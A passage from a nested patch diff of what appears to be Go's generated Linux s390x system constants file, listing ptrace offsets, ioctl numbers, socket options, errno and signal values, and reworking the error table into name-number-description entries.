-+ PTRACE_POKETEXT_AREA = 0x5004
-+ PTRACE_POKEUSR_AREA = 0x5001
-+ PTRACE_POKE_SYSTEM_CALL = 0x5008
-+ PTRACE_PROT = 0x15
-+ PTRACE_SINGLEBLOCK = 0xc
-+ PTRACE_TE_ABORT_RAND = 0x5011
-+ PT_ACR0 = 0x90
-+ PT_ACR1 = 0x94
-+ PT_ACR10 = 0xb8
-+ PT_ACR11 = 0xbc
-+ PT_ACR12 = 0xc0
-+ PT_ACR13 = 0xc4
-+ PT_ACR14 = 0xc8
-+ PT_ACR15 = 0xcc
-+ PT_ACR2 = 0x98
-+ PT_ACR3 = 0x9c
-+ PT_ACR4 = 0xa0
-+ PT_ACR5 = 0xa4
-+ PT_ACR6 = 0xa8
-+ PT_ACR7 = 0xac
-+ PT_ACR8 = 0xb0
-+ PT_ACR9 = 0xb4
-+ PT_CR_10 = 0x168
-+ PT_CR_11 = 0x170
-+ PT_CR_9 = 0x160
-+ PT_ENDREGS = 0x1af
-+ PT_FPC = 0xd8
-+ PT_FPR0 = 0xe0
-+ PT_FPR1 = 0xe8
-+ PT_FPR10 = 0x130
-+ PT_FPR11 = 0x138
-+ PT_FPR12 = 0x140
-+ PT_FPR13 = 0x148
-+ PT_FPR14 = 0x150
-+ PT_FPR15 = 0x158
-+ PT_FPR2 = 0xf0
-+ PT_FPR3 = 0xf8
-+ PT_FPR4 = 0x100
-+ PT_FPR5 = 0x108
-+ PT_FPR6 = 0x110
-+ PT_FPR7 = 0x118
-+ PT_FPR8 = 0x120
-+ PT_FPR9 = 0x128
-+ PT_GPR0 = 0x10
-+ PT_GPR1 = 0x18
-+ PT_GPR10 = 0x60
-+ PT_GPR11 = 0x68
-+ PT_GPR12 = 0x70
-+ PT_GPR13 = 0x78
-+ PT_GPR14 = 0x80
-+ PT_GPR15 = 0x88
-+ PT_GPR2 = 0x20
-+ PT_GPR3 = 0x28
-+ PT_GPR4 = 0x30
-+ PT_GPR5 = 0x38
-+ PT_GPR6 = 0x40
-+ PT_GPR7 = 0x48
-+ PT_GPR8 = 0x50
-+ PT_GPR9 = 0x58
-+ PT_IEEE_IP = 0x1a8
-+ PT_LASTOFF = 0x1a8
-+ PT_ORIGGPR2 = 0xd0
-+ PT_PSWADDR = 0x8
-+ PT_PSWMASK = 0x0
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +560,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +585,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +592,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2092,171 +666,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
